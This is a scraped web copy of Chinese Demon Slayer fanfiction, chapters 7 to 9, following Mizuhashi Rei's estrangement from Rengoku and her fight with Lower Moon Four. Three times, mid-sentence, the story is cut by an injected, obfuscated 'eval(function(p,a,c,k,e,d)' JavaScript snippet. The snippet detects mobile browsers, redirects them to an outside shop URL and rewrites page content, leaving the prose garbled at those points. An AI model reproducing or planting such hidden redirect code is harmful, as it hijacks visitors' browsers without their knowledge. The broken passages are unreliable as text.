《[鬼灭之刃]跟你们炼狱师徒拼了》 7. 第七章 【二十三】 甘露寺蜜璃理所当然地通过了鬼杀队的最终选拔。 为了庆祝,炼狱杏寿郎请了她和蝴蝶忍一起吃饭。蝴蝶忍说了一句“我还有蝶屋的工作要忙”就笑眯眯推拒了,只是给了她一个盒子说是给甘露寺的礼物让她带过去。 水桥怜衣:“……” 我也不想去啊!可恶!就不能突然天降一个任务让我去吗! 但是鉴于她还在养伤恢复期,鎹鸦也不是什么魔鬼,不会在这时候喊她去战斗。苦于无借口可找的水桥怜衣只能不甘不愿地打包了一个礼盒,和蝴蝶忍的礼物一起提了过去。 还没有到约好的饭店,她就听见了炼狱杏寿郎超大声的“好吃”,掀起店门的帘子一看,毫不意外地在空碗盘摞起来最多的地方看到了那对师徒。 简直就像在举办什么大胃王争霸赛一样…… 留意到整个店里的目光都集中在那一桌,水桥怜衣用手捂了捂脸,忽然很有掉头就走的冲动。 要不还是回去吧……现在就回去吧没有人会说什么的…… “哟!怜衣!你终于来了!抱歉,我们顺路出了个任务!很饿所以先吃了!”炼狱杏寿郎的声音还是那么响亮,“过来这边坐吧!蝴蝶是还在忙吗?” 这家伙平时吃东西不都是专注到旁边死了个人都不会发现的吗?怎么突然这么敏锐了…… 水桥怜衣在心里抱怨着,但还是垂着头半掩着脸在心里默念着“不要看我不要看我”走了过去,在甘露寺蜜璃旁边坐下。 “忍很忙没法过来,托我捎带了礼物,还有炼狱,你的敬语……” “怜衣小姐!”甘露寺蜜璃从大碗里抬起头,眼睛亮闪闪地看着她,“我跟你说,这个这个还有这个都超——好吃的!怜衣小姐一定要试一下!” “哦……好的……” 水桥怜衣坐下来之后,目光停在甘露寺蜜璃的胸口不动了。 呃……这个是……她的个人爱好吗……是有什么吸引敌人视线的需要吗……这个实在是有点太…… 水桥怜衣挣扎了很久,还是决定什么都不要问比较好。 虽然看起来实在是太……但假如这是甘露寺蜜璃自己的喜好那也没办法…… “那……那个啊……” 反倒是甘露寺蜜璃自己挣扎了半天,捂着通红的脸开口了。 “就是鬼杀队的制服……我听做衣服的前田先生说,女生制服都是这样的,但是我之前看小忍和怜衣小姐的制服好像都不是这样,是你们特别要求的吗?” 水桥怜衣:“……” 原来是被骗了啊,这傻孩子。 “我先离开一下。” 水桥怜衣放下礼盒,撑着桌子站起来,又顺手从炼狱杏寿郎的腰上抽走了他的日轮刀。 “我这段时间没任务,所以刀没有带,炼狱你的先借我一下。” “咦?咦咦咦???”这是完全慌了神的甘露寺蜜璃。 “唔姆!可以是可以!但是日轮刀只能用来斩鬼不能用来杀人啊!怜衣小姐!”炼狱杏寿郎倒是淡定自若。 “放心。”水桥怜衣将刀别在自己的一侧,用衣摆遮住,阴恻恻地一笑,“会给那个四眼留一条命的。” 【二十四】 一个小时之后,水桥怜衣拿着一件合身的队服还有炼狱杏寿郎的日轮刀回来了。 “怜衣小姐——” 甘露寺蜜璃抱着明显比之前大了两个号的队服泪眼涟涟,扑上来就抱住了水桥怜衣。 被迫整个人都埋进了甘露寺那慷慨的胸怀的水桥怜衣:“………………” 衣服、衣服先换上! 水桥怜衣一动不动。 不敢动,这是真的不敢动。 而甘露寺蜜璃显然已经感动到不行了。 “超级、超级喜欢你!怜衣小姐!” 她大声说。 水桥怜衣:“……” 普通的喜欢就行了吧……普通的…… “那家伙还活着吗?”炼狱杏寿郎一边别刀一边问。 “还有一口气。”水桥怜衣别开脸,小心地呼吸着说。 “前田啊……”炼狱杏寿郎抱起双臂,“之前好像也听说有别的队士和他发生过冲突。嗯,这件事我会报告给主公大人的!” “那就交给主公大人裁断好了。” 水桥怜衣被甘露寺蜜璃抱着,小心翼翼地绕开了比她上次进店时还多了三倍的碗碟高塔,在空位上坐下。 “说起来,怜衣小姐当时也收到过这样的衣服吗?” 甘露寺蜜璃抽抽搭搭地擦了擦脸,又用那双水光闪闪的眼睛好奇地看过来。 “没有。”水桥怜衣喝了口茶,“我当时去领队服的时候,那个四眼看了我一眼,就说他拿错衣服了让我等一下,进去重新拿了一件出来给我。之后我有什么要让他修改的地方他也老老实实照我说的改掉了。” “因为怜衣小姐很有压迫力吧。”炼狱杏寿郎笑起来,“我们一起出任务的时候,连鬼都会因为害怕怜衣小姐而哭出来呢!” “咦?咦咦?完全看不出来!”甘露寺蜜璃睁大了眼睛。 “对吧!”炼狱杏寿郎用力一点头,“我也理解不了!” “给我理解啊你们两个……” 水桥怜衣咬紧了牙关,额角青筋乱跳。 稍微!理解一下!我的!压迫力!不要!就这么!随便地!靠过来!!! “啊呀——怜衣小姐刚才的表情超可爱!!!” 甘露寺蜜璃一边发出可爱的尖叫,一边用力抱紧了她。 水桥怜衣,又一次陷入柔软地狱,动弹不得,再起不能。 ……真是够了!那个该死的四眼!这到底是什么衣服!她果然连一口气都不应该给他留的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863461|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【二十四】 忽略掉这些乱七八糟的事情,和炼狱杏寿郎还有甘露寺蜜璃吃饭还是很开心的。 光是看那两个人吃东西已经可以说是瞻仰绝景了,更何况他俩还会不停称赞食物好吃,“五蚂蚁”和“哦一西”在餐厅里交响回荡,光是看着这两个人陶醉于食物的表情都能多吃一碗饭。而且甘露寺还比她的师父更会劝饭,一会儿“怜衣小姐我跟你说这个超好吃”、一会儿“快试试这个这个超美味的”、一会儿“啊这个也好棒!怜衣小姐你尝一口就一口”……不知不觉,水桥怜衣就吃下了平时两三倍的分量。 甘露寺蜜璃高高兴兴地把剩下的食物一扫而光,带着满足的表情说了一句“我吃饱了多谢款待”——整个餐馆里顿时响起了如雷般的掌声。 在一片“好厉害”“简直就是无底洞”“真不可思议”的称赞声中,水桥怜衣瘫在座位上,多少感觉自己有点不太能动了。 “啊,对了,礼物、礼物……” 她把带来的礼盒推到了甘露寺蜜璃那边。 “紫色盒子是忍给你的,蓝色盒子是我给的。算是祝贺你正式成为鬼杀队一员的礼物。” “我可以现在拆开看吗?” 甘露寺双手捧脸,露出了一双因为期待而亮晶晶的大眼睛。 想要拒绝那个眼神实在是太困难了,所以水桥怜衣移开了视线。 “随你。”她说。 “那我拆开啦~”甘露寺蜜璃哼着歌,“是什么呢是什么呢~?” 蝴蝶忍送给甘露寺蜜璃的是两盒她自己制作的药膏,一盒用来涂抹伤口,一盒用来祛疤。水桥怜衣送的则是她自己觉得很好用的刀具保养套装。甘露寺蜜璃当场感动得热泪盈眶,一把抱住水桥怜衣,哭着大喊“我一定会珍惜的”。 好不容易在最后关头用手臂一挡没有正面扑进柔软地狱的水桥怜衣:“……给我随便地用啊!送了不用不就失去特意送给你这种东西的意义了吗?!” “……对哦!” 蜜璃吸了吸鼻子,露出了有点不好意思的笑容。 “唔姆!都有点羡慕甘露寺了啊!”炼狱杏寿郎双手环胸,感慨起来,“怜衣就没有送过我任何东西呢!” “首先,我们是同期,还有,你的敬语呢?” 水桥怜衣没有忍住,攥紧了她的拳头。 “嗯!那就这么愉快地决定了!”炼狱杏寿郎伸出手来,在水桥怜衣的脑袋顶上拍了一拍,“不管是我还是怜衣先升上柱,都要送对方一件礼物才行!” 水桥怜衣:“不是,要升柱你自己去就行了,能不能别带上我,我的水平哪里够升柱了……还有你能不能别这么自说自话!我没有答应要送你礼物!” “好了,一言为定!我要从现在开始思考送给怜衣小姐的礼物才行!” “别总是在这种地方用敬语啊!比起那个倒是听我说话啊?!” 8. 第八章 【二十五】 水桥怜衣终于出院了。 然而,在她终于执行完第一个任务,按照蝴蝶忍的要求回蝶屋复查的时候,却发现炼狱杏寿郎住院了。 不知道是意外还是忍的恶趣味,甚至住的就是她之前那间病房。 水桥怜衣:“………………” “哟。”躺在病床上被包成粽子还打了石膏的男人冲她挥了挥还能动的右手,“怜衣小姐,不好意思,我也住院了。” 水桥怜衣:“………………” 一时都不知道该从哪一点开始骂。 她深深地吸了一口气,在他的病床旁边坐下。 “听说你打败了十二鬼月?”她问。 “嗯,是下弦之二。”炼狱杏寿郎倒没有多少自满的神色,“是叫佩狼的男人。” “……你应该也知道这种事情没有多大意义吧。” 水桥怜衣低下头,把脸埋在手心里。 “就算击败了十二鬼月,只要鬼舞辻无惨有心,随时可以提升其他的鬼上来,甚至可以随便制造一个新的。就算你拼上性命在这里把他干掉了也没有意义,鬼不会消失,我们的胜利只是一时的,就算杀掉所有的下弦也没有意义,我们的所作所为不过是从一个不停往里放水的池子里往外舀水一样徒劳的事——” “请不要说没有意义。我也不认为这是什么‘徒劳的事’。”炼狱杏寿郎打断了她的话,那双金红色的眼睛严厉而又认真地看着她,“鬼活着就会吃人。杀死一个鬼,就能拯救未来被它所杀的人。如果杀死的是下弦,就能拯救几十甚至上百人。即使我们不去杀鬼,鬼也还是会增加,受害者也还是会增加。我们现在杀死一个下弦,就能让许多家庭幸免于难。如果出现了新的鬼,就继续把他们杀死。出现了新的十二鬼月,我们就继续与他们战斗。不要因为没有办法拯救所有的人,就说拯救眼下的人是没有意义的事。” “但是——” 炼狱杏寿郎忽然伸出手来,抓住了水桥怜衣的手臂。他抓的是上臂的部分,明明才受过伤,那只手却十分用力。她不得不抬起眼来,对上了那双火焰般的眼睛。 “不要害怕。”他说,“怜衣,不要害怕。” 她想说我才没有害怕,肺部却像是被什么沉重的石块压住一样,几乎让她无法呼吸。 “我没有死去。”他说,“所以,不要害怕。” 你有没有死掉到底关我什么事呢?不要说得好像我在害怕你死掉一样。我们不是朋友,我也并不在乎你。你想要就这么死掉就死掉好了。像个笨蛋一样无怨无悔死掉就好了!反正你死的时候肯定不会后悔吧!不会像姐姐一样后悔吧! 水桥怜衣以为自己把这些话喊了出来。她以为自己一定喊了出来。但是空气中只有震到她耳膜都发痛的沉默。呼吸像是掺杂了烈火,肺腑的每一下起伏都让她感觉到喉咙都快要被烧穿的痛楚。血液似乎全部逆流到了脑膜,撞得她的血管都突突发痛。 呼吸。 她对自己说。 水桥怜衣,呼吸。 “怜衣小姐!” 她猛地打开了炼狱杏寿郎伸过来的手。 “……我真想,杀掉你算了。” 她这么说完,转身离开了房间。 【二十六】 炼狱杏寿郎从那一天起就没有再见到水桥怜衣。 似乎是她专门向主公递交了申请,将自己的任务区域与新任炎柱的辖区错开了。不只是巡逻任务,连其他的任务也没有碰到的时候。柱的工作非常忙碌,而水桥怜衣也是甲级队士,如果没有一些特意的安排的话,两个人原本就很难碰到。 就连偶尔会碰到她的甘露寺蜜璃,见到的也是一张冷若冰霜拒人于千里之外的脸。就算向她打招呼也不会被回应,一到任务结束对方就会立马消失。让内心柔软的蜜璃十分受伤,不仅抱着蝴蝶忍哭了好几场,连饭也少吃了好几碗。 “还真是被彻底讨厌了呢。炼狱先生。” 偶然在任务中遇到的蝴蝶忍笑眯眯地这样对他说。 “唔姆。” 炼狱杏寿郎没有反驳这一点,只是苦恼地抓了抓头。 “虽然有意识到,不过还真是难办啊,蝴蝶。” 不只是自己,连弟子也被迁怒了。虽然早就知道水桥怜衣认真生起气来的时候会非常可怕,但是也没想过会可怕到这种程度。 “我倒是觉得迟早会有这样一天呢。” 蝴蝶忍轻盈地在森林间穿行,脚尖轻快地点着林木的枝叶。 “像炼狱先生这样毫不克制地对着那样的孩子散发热情,然后某一天又会突然将这热情全部收回去——你让已经习惯了那份热情存在的她该怎么办呢?” 炼狱杏寿郎忽然沉默下来。 蝴蝶忍依旧如飞翔般在树林间穿行着,飘落下仿佛弥漫着花香的声音。 “不管是死亡也好,还是你不再向她给出也好——你觉得她应该怎么办呢?在意识到这份热情是随时都会褪去的、随时都可能从她手中失落的之后,你认为,她应该怎么做才好呢,炼狱先生?” 蝴蝶忍停下脚步,从高处的树叶之间,笑盈盈地俯视着炼狱杏寿郎。 “怀着一腔善意和热情,盲目地亲近那个人之前,最好先思考一下这一点比较好哦。” 啊呀,好像有一点坏心眼了。抱歉抱歉。 娇小的虫柱微微掩口笑起来。 炼狱杏寿郎难得回以沉默。 “当然,迁怒甘露寺这一点我回头会好好训斥一下那家伙的。毕竟,惹火她的人是炼狱先生,甘露寺完全是无辜的嘛。那孩子只是想和水桥做朋友而已,她没有任何错,得让那家伙好好对甘露寺道歉才行。” 蝴蝶忍捏了一下拳头,又微笑着松开,握住了身侧日轮刀的刀柄。 “但是啊,炼狱先生的话还是好好思考一下比较好哦。因为您和甘露寺想要的东西完全不一样吧?” 虫之呼吸·蜂牙之舞! 日轮刀的锋刃一瞬间贯穿了鬼的心脏,蝴蝶忍收刀入鞘,在刀刃嗡鸣间完成了毒的调和。那只足足有三人高的大鬼顿时哀嚎着倒下,在她的脚下蜷缩起来,喉咙中发出窒息苦闷的咯咯声,不多时就彻底没有了气息。 蝴蝶忍微笑着回过头来,看着新上任的炎柱沉默的面影。 “小怜衣现在在没日没夜地接杀鬼任务呢,您知道她上一次这么做是在什么时候吗?” 蝴蝶忍带着香奈惠式的微笑,学着香奈惠那种亲昵的称呼,慢悠悠地开口了。 “是在姐姐被鬼杀害之后的那段时间。” 蝴蝶忍口中的姐姐只有一个人。 两年半前遭遇上弦之鬼,不幸牺牲的花柱·蝴蝶香奈惠。 那个时候,还有一名年轻的己级女队员,据说香奈惠大人当时有意收她为继子,所以带在身边陪同见习。在那场战斗里,虽然那个队员受了重伤昏迷,但不知道为什么,那个杀害了花柱大人的上弦之鬼,却既没有杀死她,也没有吃了她。 炼狱杏寿郎当然知道那个女队员是谁。 她就是水桥怜衣。 “小怜衣的血有毒,很被食人鬼所讨厌。正因为如此,她总是被留下来的那一个。” 不管是幼年时袭击了她家人的恶鬼,还是杀害了香奈惠姐姐的上弦之鬼,都不约而同地留下了她的性命。 就像是碰到她的血本身就脏了他们的手一样。 所以她总是活了下来。 不管是谁死去了,她都能活下来。 “稍微也替被留下来的那个人想想怎么样呢,炼狱君?” 蝴蝶忍微笑着道。 【二十七】 炼狱杏寿郎沉默了很久。 炼狱杏寿郎终于开口了。 他说:“原来蝴蝶你是因为这样才一直和怜衣小姐保持距离啊!” 蝴蝶忍的额头上暴起一条青筋。 “炼狱先生,我们在说你和水桥之间的事。”她几乎要无法保持住脸上香奈惠式的微笑了。 “是吗?但我觉得那不是重点!”炼狱杏寿郎抱着双臂大声反驳道,“虽然蝴蝶你说的很有道理!但我认为还是不对!” 蝴蝶忍脸上爆出来更多的青筋。 “那你觉得什么才是重点呢?还是说你觉得水桥自己的感觉和想法就一点都不重要?”她的声音已经快要压不住火气了。 “我无意否认怜衣小姐的感情!我也不认为那种事情一点也不重要!”炼狱杏寿郎的声音更大了,“但是!那样下去绝对是不行的!放任她那样下去的话,不管是作为朋友还是同伴都是不称职的!” “……哈?” 蝴蝶忍彻底维持不住微笑了,她迅速变回了两年多前跟在蝴蝶香奈惠身后的那个爆脾气少女。 “你要贯彻你的观念是你自己的事,多少也考虑一下会因此而痛苦的女孩子的心情吧!一味想让她喜欢上你,一味想进到她的心里去——要是你死掉了她要怎么办!?水桥她会伤心啊!她会心碎的!就算她因此一直痛苦下去你也无所谓吗?!” “但是让她一直那样下去肯定不行吧!” 炼狱杏寿郎难得严肃了表情,他抓住自己的日轮刀,猛地向蝴蝶忍逼近,挥刀便砍下了趁机袭向这边的恶鬼的头颅。 在蝴蝶忍睁大了眼睛的一瞬间,他将肺腑深处炽热的空气,还有那些烧灼着自己脏腑的话语一起吐了出去。 “难道你觉得,因为怜衣小姐很害怕就让她一直保持着和所有人的距离,谁也不去爱、谁也不去靠近,就那么一直孤独下去——这会是为她好吗?” 蝴蝶忍忽然沉默下来。 “人活着就需要和其他人产生联系,需要被他人帮助,也去帮助别人,需要爱别人,也被别人所爱。需要对他人敞开心扉,也进入他人的心扉。” 炼狱杏寿郎的话语如同火焰,也如同坚硬的刀,炽热而毫不留情地劈进人的内心深处。粉碎黑暗,也粉碎那些坚不可摧的防御。 他说:“人是无法一个人活下去的,蝴蝶,这道理你也应该明白才对。” 他说:“我知道她很恐惧。每个人都会恐惧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863462|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会拒绝,会不会失去,会不会明天就不再喜欢了,会不会过一段时间就变了,会不会某一天忽然就听到对方的死讯……就算是我,也偶尔会这么想。” 他说:“但是因为这样,就放任对方一直封闭自己,扼杀掉自己的心,不去与任何人交往、不去爱任何一个人、欺骗自己不需要别人也不在乎别人是否需要自己……这种事情绝对是不对的!” 水桥怜衣内心有一部分被永远的弄坏了,他当然知道这样的事。 一直在斩杀恶鬼,从来没有从一线退下去过的战士,会说什么“我们所做的事情全部都是徒劳”“杀死几个恶鬼也根本没有意义”——那当然不是真心的。 就算是为了钱也好,五年时间已经足够积累下一笔可观的财富,已经成长为甲级队士的水桥怜衣根本没有必要继续留在鬼杀队的一线战斗,就算是为了金钱,她也可以退下去当培育师。主公大人依旧会为培育师付出可观的薪水。水桥怜衣很会教人,她作为培育师也一定会相当出彩。 让她坚持留在一线的理由,不是她所说的金钱。或者说,不是她以为的那么单纯的理由。 那是她自己都没有意识到的爱,和自己都没有意识到的恨。 说到底,从【水】之呼吸里独自领悟出了【怨】之呼吸的剑士,在用这样一个字作为她的呼吸法的名字时,她真正的心情、她真正的动机,就已经昭然若揭了。 水桥怜衣憎恨鬼。 比他,比甘露寺,比任何一个人都要更憎恨鬼。 她那天说出来的话,并不是真心的。 她只是太痛苦了,她只是太害怕了,所以不知道要怎么办才好了。 “她可以一直逃跑。从我这里,从你这里,从她的痛苦和恐惧那里一直逃跑。她当然可以不停地、不停地逃跑下去。” 炼狱杏寿郎把刀架在肩膀上,又一次使用了炎之呼吸。 “但你也知道,那样的话她最后只会什么也无法得到。在无尽的空虚中独自迎来死亡。” 男人的身影有如踏着火炎的旋风,利刃卷着烈火,疾速向着逃跑的恶鬼的后背挥下,火焰的猛虎猛然咬下了恶鬼的头颅,而它其余的身体就这样在烈火里崩散,化作了黑色的灰烬。 炎之呼吸·五之型——炎虎! 炼狱杏寿郎落了地,缓缓地呼出一口气来。 他说:“我无法接受那样的结果。” 刚刚脱离少年,步入青年的男人回过头来,笑容在逐渐升起的朝阳中熠熠生辉。 “我不知道自己是否能够陪伴怜衣小姐到最后,但是至少现在,我不想放手。” “因为会失去就放开眼前的缘分,因为害怕就让自己什么都不去做——抱歉,蝴蝶,这不是我能做到的事。” “我希望怜衣小姐可以获得幸福。不管是不是因为我都不要紧。我希望她可以勇敢地去握住别人的手,不要害怕自己所生活的这个世界。去交更多的朋友,更勇敢地表达自己的想法。我希望她可以意识到自己是一个多么强大的人,多么可爱的女孩子。我希望她知道自己没有自己以为的那么坏。” “就算我无法做到,我也希望她可以做到。” 阳光中,那双金红色的眼睛像是太阳,又像是火焰。 “所以不管怜衣小姐拒绝我多少次,我也想让她知道——人与人之间的交往并没有那么可怕,这个世界也没有那么可怕。” 一定会有人陪着你的。所以不要紧。 “而且就算我死了——” 他伸出手,指了一下蝴蝶忍的胸口。 “她也还有你们这些朋友不是吗?” “会关心她的,会陪伴她的朋友。” 炼狱杏寿郎对她笑了一下。 “而且,今后也会有更多。怜衣小姐是非常有魅力的女孩子,只要稍微做出一些改变,不管是同伴也好、朋友也好,一定都会渐渐多起来的。那样的话,就不要紧了。” 伤心也不要紧,痛苦也不要紧。 只要有值得信赖的同伴和朋友一直在身边的话,总有一天,她一定会再度露出笑容。 “我算是知道水桥为什么会讨厌你了……” 蝴蝶忍喃喃。 “咦?为什么?” 炼狱杏寿郎睁大了眼睛。 然后,他就被蝴蝶忍从正面揍了一拳。完全没有留手,甚至用上了呼吸法。全力从腹部给了他一拳。 “唔哦!” 蝴蝶忍长长地呼出一口气,甩了甩被反作用力冲得生疼的右手。 “……千万别死了啊,你这混蛋。”她说。 “哈哈哈、我会全力活下去的!”炼狱杏寿郎说。 “还有——” 退开一步的蝴蝶忍,恢复了平日那种香奈惠式的笑容。 “——我是绝对不会帮你的。” 抛下了还在那满脸都是“到底是为什么”的同伴,蝴蝶忍脚步轻快地往前走去。 话说得是很好听啦,但是到时候能不能做到呢? 反正,她才不会相信男人的话。 9. 第九章 【二十八】 水桥怜衣停止了思考。 这种事情对于她来说很简单,只要什么都不想就行了。 不去想过去、现在、未来,不去想自己是谁、自己在哪、在做什么,也不去想任何人、任何事,连睡觉与进食都一起忘记掉。 反正身体会自己动起来。会从别人那里接过食物,会从不知道哪里的什么地方拿出吃的来,然后自行吃下去。如果不能够继续走的话身体也会自己断片,再能行动起来的时候就没问题了。 杀鬼也是,日以继夜的训练早就把招式与呼吸变成了一种纯粹的肌肉记忆,就算是闭着眼睛也知道该怎么挥刀和割开鬼的脖子。不如说,全部交给自己的身体的话反而会做得更好。因为没有杂念,因为什么也不用考虑,所以反而没有多少多余的动作,完美地契合了自己的呼吸…… 呼吸…… “呼吸啊!笨蛋怜衣!” 有一个看不清面孔的女孩子,哭泣着全力往自己的右脸上扇了一巴掌。 水桥怜衣猛然睁开了眼睛。 险之又险地躲过了迎面而来的风刃,水桥怜衣双腿一软,猛然跪倒在地,抬手掐住自己的胸骨,无比艰难地喘息着。 糟糕……呼吸法用的时间太久了…… 肺部拼命上下起伏着,想要多泵进一丝空气,她甚至能清楚感觉到急促冲刷着血管的血液,每一个细胞都在渴求着氧气。 “怜衣小姐!怜衣小姐!” 她听见了甘露寺的声音,如此惊慌,如此遥远。 她赶不过来。 水桥怜衣无比清晰地意识到。 但是,不要紧。 她再一次握紧了自己的刀。 血液里有什么东西“活”了过来。她能感觉到。 在嬉笑。 她的血里,有“什么”在嬉笑。 所以,这一瞬间,她感觉到了—— ——可以杀掉。 这个鬼,这个眼里有着数字的女鬼,她现在可以杀掉。 血液在那一瞬间燃烧了起来。已经被压迫到了极致的肺部再一次张开,开始了渗血的呼吸。 血是“活”的。血在“呼吸”。替代已经快要丧失功能的肺泡,血自己在呼吸,在赋予这具□□“生命”。从心脏开始,高热的血液被泵向全身,感染正在扩散,“毒”正在滋长。 所以,她的身体变得自由了。 手臂变得轻松,双腿变得有力,心跳激越到了一个前所未有的程度,血液的流动也从没有这么流畅、这么迅捷过。 所以,现在的她,一定可以砍下那个鬼的头。 眼睛里刻着“下肆”的白发女鬼发出了凄厉的尖叫,双腿蓄力,想要从她的眼前逃走。 怎么可能让你逃掉呢? 水桥怜衣从对方血红的眼白和缩小的瞳孔中,看到了自己的倒影。 在那个恶鬼眼中的自己,分明就是在笑。即使血红的脉络已经从心口扩散到了脸庞上,她依旧是在笑着的。 是啊,当然要笑,没有理由不笑。 就算自己的身体也会被活过来的血所撕裂,她也要先一步撕开眼前的女鬼。 “怨之呼吸·一之型——舌切雀。” 从嘴巴撕开吧。从这择人而食的嘴巴撕开吧。用这把刀,把舌头整个地扯出来吧。把这张脸都撕得乱七八糟吧。 然后,把这颗脑袋,整个地打飞出去吧! 刀光如同利剪,迅疾地撕开了鬼的头颅。 一上,一下。在一瞬间完成了两刀。在剪断头颅的一瞬间,也剪断了脖子。鬼的两半头颅一上一下飞了出去。连同被剪下的舌头一起。女鬼在一瞬间发出撕心裂肺的惨叫,却连一句话都无法再说出来,只能徒劳地流着眼泪。 “你哭什么啊?” 水桥怜衣提着她上半节头颅,拧过脸来,对着还在滴滴答答往下流着血的女鬼露出一个笑来。 “要知道,被你吃掉的人可比这要痛苦一百倍、一千倍啊!” 她抬起手来,轻快地将滴血的头颅抛向夜空。 而后,猛地调转刀锋,狠狠戳向了地上还没来得及消散的躯体。 “怨之呼吸·一之型——舌切雀·大葛笼群妖。” 夜空中的女鬼猛然瞪大了眼睛,难以想象的剧痛让眼球凸起,爬满了密密麻麻的血丝。 好痛!为什么会这么痛!?明明已经是鬼了、明明应该已经不会再怕痛了! 但是好痛、好痛、好痛好痛好痛—— 仿佛是从内部把她撕裂成了无数片的剧痛,就像是被人从里面千刀万剐火烧油浇一样那么痛!!! 仅存的小半块脸随着重力在往下掉,在月光的照耀下,下弦的女鬼终于看清了—— 原来是那个女人的剑气,正从内部,把她撕成了成百上千片啊。 ……好痛啊。 消散的最后一秒,食人无数的女鬼流着泪想,要是没有成为鬼就好了。 要是没有成为鬼,就不会碰到这个比鬼还要可怕的女人了。 【二十九】 ——我要让你们后悔。 ——我要让你们活着体会到什么是地狱。 ——不管你们的余生还剩下几分几秒,我都要让你们后悔,后悔自己变成了鬼,后悔自己吃了人,后悔…… ——后悔你们居然让我活了下去。 水桥怜衣绽开了鲜红的笑容。 “怜衣小姐、怜衣小姐!” 甘露寺蜜璃的声音传入她的耳中,不知为何,那声音远到好像是从水中传来的一样。 水桥怜衣摇摇晃晃地转过脸去,看到了女孩惊慌而担忧的脸。 为什么要露出那种表情呢?到底在喊些什么呢? “血……怜衣小姐!血!” ……血? “你的血!怜衣小姐!你在流血!” 水桥怜衣迟钝地抬起手来,这才摸到了一脸一手的黏腻赤红。 血管裂开了。 从胸口到双手,从脖颈到脸庞,好几条凸显出来的血管都裂开了。 ……那是当然的。血自己活过来了嘛。 水桥怜衣感觉自己正在往下倒。 失血太多了,再加上最近一直在奔波杀鬼……上次睡觉,是什么时候来着?不记得了。说起来,最后一顿有记忆的进食又是什么时候来着?完全想不起来了。她最近真的有吃东西吗? 感觉……好累啊…… 她落入了一个柔软的怀抱。 “怜衣小姐、怜衣小姐——”粉绿色头发的女孩哇哇大哭,只敢用自己的身体支着她,一点力气都不敢用,“你会死吗怜衣小姐?不要死啊怜衣小姐——” 吵死了。 谁会死啊。你们都死光了我也不会死的。我才不会死呢。 水桥怜衣的嘴唇动了动,最后只飘出了短暂的几个音。 “……我没那么容易死的。” 她几乎想要叹气了。 “所以别哭了,甘露寺。” 真是的,哭得她头都开始痛了。 【三十】 水桥怜衣醒来的时候,简直恨不得自己再晕过去。 “醒了吗?” 她听见蝴蝶忍凉凉的声音。 “醒了就把药吃了。” 说实话,她有点不敢睁眼。生怕一睁眼又看到床头蹲着一只金红配色的大猫头鹰。 完全,不想,见到那家伙。 蝴蝶忍的声音里带了点又好气又好笑的味道:“放心吧,我没告诉炼狱君。也和甘露寺说了不要告诉他。” 水桥怜衣这才松了一大口气,支撑着身体坐了起来,酸痛的肌肉都还在其次了,一坐起来就扯到了身上裂开的血管,饶是她都忍不住倒抽了好几口冷气——怎么说呢,对比起来还是骨头断了更好忍受,她现在怀疑是不是骨头里面的血管也裂开了,才会这么痛。 蝴蝶忍把药递给她,拧了拧眉头:“血管愈合的状况还不错,但是淤血是另一个大麻烦。我给你调了能促进吸收淤血的药,希望能好得快一点。” “谢了。” 水桥怜衣说着就把药喝了下去,意外地发现这一次的药居然不怎么苦。 说真的,蝴蝶忍的医术的确非常好,但是她配的药实在是太苦了。水桥怜衣不止一次怀疑她其实是在借机报复但没有证据。 蝴蝶忍解开她身上的绷带,似乎是想要给伤口重新消毒再换一下药。只是在打开绷带的时候,她的动作很明显地停顿了一下。 “你身上伤口恢复的速度……越来越快了。” 蝴蝶忍说。 “这不是好事吗?”水桥怜衣问。 “如果放在别人身上我会觉得是好事,放在你身上就不一定了。你以前的恢复速度就快到有点不正常。” 蝴蝶忍重新消毒了一遍她身上的伤口,没有上新药,就用干净的绷带包扎起来。 “再养几天你的伤应该就全好了。很幸运,没有像炼狱君那样伤到骨头。可能是因为你遇到的那个下弦比起战斗更倾向于逃跑吧。在觉得不妙的时候就舍弃了攻击,将力量更多地用于逃走。如果这次碰到的不是你,搞不好就真的给她逃掉了。” 少女秀美的脸庞上浮现出了非常符合虫柱身份的微笑。 “毕竟水桥绝对不会让自己碰到的任何一只鬼逃走呢。” 水桥怜衣:“……” 话是好话就是听起来怎么这么阴阳怪气呢?感觉自从蝴蝶忍开始模仿香奈惠大人全天保持微笑以后就很少听到她这么话里带刺和自己说话了…… 不对。 等等。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863463|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……下弦?” 水桥怜衣睁大了眼睛。 “没错,下弦之四。”蝴蝶忍说着说着自己笑了起来,“怎么,明明是你自己杀的鬼,自己却完全不记得了吗?虽然只是下弦,但是十二鬼月的强度和普通的鬼应该完全不一样吧?这都能忘记吗?” 水桥怜衣:“………………” 